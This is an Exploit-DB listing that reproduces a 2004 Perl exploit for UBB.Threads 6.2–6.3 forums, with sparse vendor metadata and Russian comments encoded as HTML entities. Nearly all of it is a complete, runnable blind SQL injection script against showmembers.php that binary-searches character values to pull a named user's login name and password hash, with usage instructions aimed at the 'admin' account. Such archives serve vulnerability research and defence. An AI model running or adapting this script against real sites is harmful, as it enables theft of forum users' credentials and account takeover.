UBB.Threads 6.2.* - 6.3.* exploit

vendor:
UBB.Threads
by:
1dt.w0lf // r57
N/A
CVSS
N/A
Unknown
CWE
Product Name: UBB.Threads
Affected Version From: 6.2.*
Affected Version To: 6.3.*
Patch Exists: Unknown
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:
Unknown
UBB.Threads 6.2.* – 6.3.* exploit

This is an exploit for UBB.Threads version 6.2.* - 6.3.*. It uses a one char brute technique.
Mitigation:

Unknown
Source
Exploit-DB raw data:

#!/usr/bin/perl

use LWP::UserAgent;

# UBB.Threads 6.2.* - 6.3.* exploit
# with one char brute technique
# by 1dt.w0lf // r57

$path     = $ARGV[0];
$username = $ARGV[1];

$s_num = 1;
$n=0;
$|++;

if (@ARGV < 2) { &usage; }

print "Please wait...\r\n";
print "[";

while(1)
{
# &#1085;&#1072;&#1095;&#1080;&#1085;&#1072;&#1077;&#1084; &#1087;&#1077;&#1088;&#1077;&#1073;&#1086;&#1088; &#1089; &#1087;&#1086;&#1083;&#1085;&#1086;&#1075;&#1086; &#1076;&#1080;&#1072;&#1087;&#1072;&#1079;&#1086;&#1085;&#1072;
&found(0,122);   
# &#1077;&#1089;&#1083;&#1080; &#1074;&#1086;&#1079;&#1074;&#1088;&#1072;&#1097;&#1077;&#1085;&#1085;&#1099;&#1081; &#1082;&#1086;&#1076; 0 &#1079;&#1085;&#1072;&#1095;&#1080;&#1090; &#1076;&#1086;&#1096;&#1083;&#1080; &#1076;&#1086; &#1082;&#1086;&#1085;&#1094;&#1072; &#1089;&#1090;&#1088;&#1086;&#1082;&#1080; &#1080; &#1074;&#1099;&#1074;&#1086;&#1076;&#1080;&#1084; &#1087;&#1086;&#1083;&#1091;&#1095;&#1077;&#1085;&#1085;&#1099;&#1081; &#1088;&#1077;&#1079;&#1091;&#1083;&#1100;&#1090;&#1072;&#1090;
if ($char=="0")  
 { 
 print "]\r\n\r\n"; 
 # &#1088;&#1072;&#1079;&#1076;&#1077;&#1083;&#1103;&#1077;&#1084; &#1087;&#1086;&#1083;&#1091;&#1095;&#1077;&#1085;&#1085;&#1091;&#1102; &#1089;&#1090;&#1088;&#1086;&#1082;&#1091; &#1085;&#1072; &#1083;&#1086;&#1075;&#1080;&#1085; &#1080; &#1087;&#1072;&#1088;&#1086;&#1083;&#1100;
 ($res1,$res2)=split(":",$allchar);  # 
 print "------------------x REPORT x-------------------\r\n";
 print "      Username: $username\r\n";
 print "    Login Name: $res1\r\n";
 print " Password Hash: $res2\r\n"; 
 print "------------------x REPORT x-------------------\r\n";
 print "total requests: $n\r\n";
 exit(); 
 }
else 
 { 
 # &#1087;&#1088;&#1077;&#1086;&#1073;&#1088;&#1072;&#1079;&#1091;&#1077;&#1084; &#1087;&#1086;&#1083;&#1091;&#1095;&#1077;&#1085;&#1085;&#1099;&#1081; &#1082;&#1086;&#1076; &#1074; &#1089;&#1080;&#1084;&#1074;&#1086;&#1083; &#1080; &#1076;&#1086;&#1073;&#1072;&#1074;&#1083;&#1103;&#1077;&#1084; &#1077;&#1075;&#1086; &#1082; &#1089;&#1090;&#1088;&#1086;&#1082;&#1077; &#1088;&#1077;&#1079;&#1091;&#1083;&#1100;&#1090;&#1072;&#1090;&#1072;
 print "|"; 
 $allchar .= chr($char); 
 }
# &#1091;&#1074;&#1077;&#1083;&#1080;&#1095;&#1080;&#1074;&#1072;&#1077;&#1084; &#1087;&#1086;&#1079;&#1080;&#1094;&#1080;&#1102; &#1089;&#1080;&#1084;&#1074;&#1086;&#1083;&#1072; &#1085;&#1072; &#1077;&#1076;&#1080;&#1085;&#1080;&#1094;&#1091; &#1080; &#1087;&#1088;&#1086;&#1076;&#1086;&#1083;&#1078;&#1072;&#1077;&#1084; &#1087;&#1077;&#1088;&#1077;&#1073;&#1086;&#1088;
$s_num++;
}



sub found($$)
 {
 # &#1086;&#1087;&#1088;&#1077;&#1076;&#1077;&#1083;&#1103;&#1077;&#1084; &#1087;&#1077;&#1088;&#1077;&#1076;&#1072;&#1085;&#1085;&#1099;&#1081; &#1076;&#1080;&#1072;&#1087;&#1072;&#1079;&#1086;&#1085;
 my $fmin = $_[0];
 my $fmax = $_[1];
 # &#1077;&#1089;&#1083;&#1080; &#1076;&#1080;&#1072;&#1087;&#1072;&#1079;&#1086;&#1085; &#1084;&#1077;&#1085;&#1077;&#1077; 5 &#1090;&#1086; &#1087;&#1077;&#1088;&#1077;&#1093;&#1086;&#1076;&#1080;&#1084; &#1082; &#1087;&#1077;&#1088;&#1077;&#1073;&#1086;&#1088;&#1091;
 if (($fmax-$fmin)<5) { $char=&crack($fmin,$fmax); return $char; }
 # &#1086;&#1087;&#1088;&#1077;&#1076;&#1077;&#1083;&#1103;&#1077;&#1084; &#1094;&#1077;&#1085;&#1090;&#1088; &#1076;&#1080;&#1072;&#1087;&#1072;&#1079;&#1086;&#1085;&#1072;
 $r = int($fmax - ($fmax-$fmin)/2);
 # &#1076;&#1077;&#1083;&#1072;&#1077;&#1084; &#1091;&#1089;&#1083;&#1086;&#1074;&#1080;&#1077;
 $check = ">$r";
 # &#1080; &#1087;&#1088;&#1086;&#1074;&#1077;&#1088;&#1103;&#1077;&#1084; &#1091;&#1089;&#1083;&#1086;&#1074;&#1080;&#1077;, &#1074; &#1079;&#1072;&#1074;&#1080;&#1089;&#1080;&#1084;&#1086;&#1089;&#1090;&#1080; &#1086;&#1090; &#1088;&#1077;&#1079;&#1091;&#1083;&#1100;&#1090;&#1072;&#1090;&#1072; &#1088;&#1077;&#1082;&#1091;&#1088;&#1089;&#1080;&#1074;&#1085;&#1086; &#1074;&#1099;&#1079;&#1099;&#1074;&#1072;&#1077;&#1084; &#1092;&#1091;&#1085;&#1082;&#1094;&#1080;&#1102; &#1089; &#1085;&#1086;&#1074;&#1099;&#1084; &#1076;&#1080;&#1072;&#1087;&#1072;&#1079;&#1086;&#1085;&#1086;&#1084;
 if ( &check($check) ) { &found($r,$fmax); }
 else { &found($fmin,$r+1); }
 }
 
sub crack($$)
 {
 # &#1086;&#1087;&#1088;&#1077;&#1076;&#1077;&#1083;&#1103;&#1077;&#1084; &#1087;&#1077;&#1088;&#1077;&#1076;&#1072;&#1085;&#1085;&#1099;&#1081; &#1076;&#1080;&#1072;&#1087;&#1072;&#1079;&#1086;&#1085;
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 # &#1080; &#1087;&#1088;&#1086;&#1093;&#1086;&#1076;&#1080;&#1084; &#1087;&#1086; &#1082;&#1072;&#1078;&#1076;&#1086;&#1084;&#1091; &#1079;&#1085;&#1072;&#1095;&#1077;&#1085;&#1080;&#1102; &#1080;&#1079; &#1076;&#1080;&#1072;&#1087;&#1072;&#1079;&#1086;&#1085;&#1072;
 while ($i<$cmax)
  {
  # &#1076;&#1077;&#1083;&#1072;&#1077;&#1084; &#1091;&#1089;&#1083;&#1086;&#1074;&#1080;&#1077;
  $crcheck = "=$i";
  # &#1087;&#1088;&#1086;&#1074;&#1077;&#1088;&#1103;&#1077;&#1084; &#1077;&#1075;&#1086;
  if ( &check($crcheck) ) { return $i; }
  $i++;
  }
 return;
 }
 
sub check($)
 {
 # &#1091;&#1074;&#1077;&#1083;&#1080;&#1095;&#1080;&#1074;&#1072;&#1077;&#1084; &#1082;&#1086;&#1083;&#1080;&#1095;&#1077;&#1089;&#1090;&#1074;&#1086; &#1079;&#1072;&#1087;&#1088;&#1086;&#1089;&#1086;&#1074;
 $n++;
 # &#1086;&#1087;&#1088;&#1077;&#1076;&#1077;&#1083;&#1103;&#1077;&#1084; &#1091;&#1089;&#1083;&#1086;&#1074;&#1080;&#1077; 
 $ccheck = $_[0];
 # &#1089;&#1086;&#1079;&#1076;&#1072;&#1077;&#1084; http &#1079;&#1072;&#1087;&#1088;&#1086;&#1089; &#1082; &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;&#1091; 
 $http_query = $path."?Cat=&page=1&like=".$username."' AND ascii(substring(CONCAT(U_LoginName,CHAR(58),U_Password),".$s_num.",1))".$ccheck." /*";
 
 # &#1045;&#1089;&#1083;&#1080; &#1074;&#1099; &#1093;&#1086;&#1090;&#1080;&#1090;&#1077; &#1074;&#1080;&#1076;&#1077;&#1090;&#1100; &#1074;&#1089;&#1077; &#1079;&#1072;&#1087;&#1088;&#1086;&#1089;&#1099; &#1086;&#1090;&#1087;&#1088;&#1072;&#1074;&#1083;&#1103;&#1077;&#1084;&#1099;&#1077; &#1082; &#1089;&#1082;&#1088;&#1080;&#1087;&#1090;&#1091;
 # &#1090;&#1086; &#1088;&#1072;&#1089;&#1089;&#1082;&#1086;&#1084;&#1077;&#1085;&#1090;&#1080;&#1088;&#1091;&#1081;&#1090;&#1077; &#1089;&#1083;&#1077;&#1076;&#1091;&#1102;&#1097;&#1091;&#1102; &#1089;&#1090;&#1088;&#1086;&#1082;&#1091;
 # print "\r\n $http_query \r\n";
 
 $mcb_reguest = LWP::UserAgent->new() or die;
 # &#1087;&#1086;&#1083;&#1091;&#1095;&#1072;&#1077;&#1084; &#1086;&#1090;&#1074;&#1077;&#1090; &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;&#1072;
 $res = $mcb_reguest->post($http_query); 
 @results = $res->content; 
 # &#1087;&#1088;&#1086;&#1074;&#1077;&#1088;&#1103;&#1077;&#1084; &#1086;&#1090;&#1074;&#1077;&#1090; &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;&#1072; &#1085;&#1072; &#1085;&#1072;&#1083;&#1080;&#1095;&#1080;&#1077; &#1089;&#1090;&#1088;&#1086;&#1082;&#1080;
 foreach $result(@results)
  {
  if ($result =~ /<td class=\"lighttable\">/) { return 1; }
  }
 return 0;
 }
 
sub usage
 {
 print "=========================================================\r\n";
 print " UBB.Threads 6.2.*-6.3.* one char bruteforce exploit\r\n";
 print " For all MySQL versions! Don't need UNION support!\r\n";
 print "=========================================================\r\n";
 print " Usage: $0 [path/to/showmembers.php] [username]\r\n";
 print " e.g. : $0 http://127.0.0.1/showmembers.php admin\r\n";
 print "=========================================================\r\n";
 exit(); 
 }

# milw0rm.com [2004-11-15]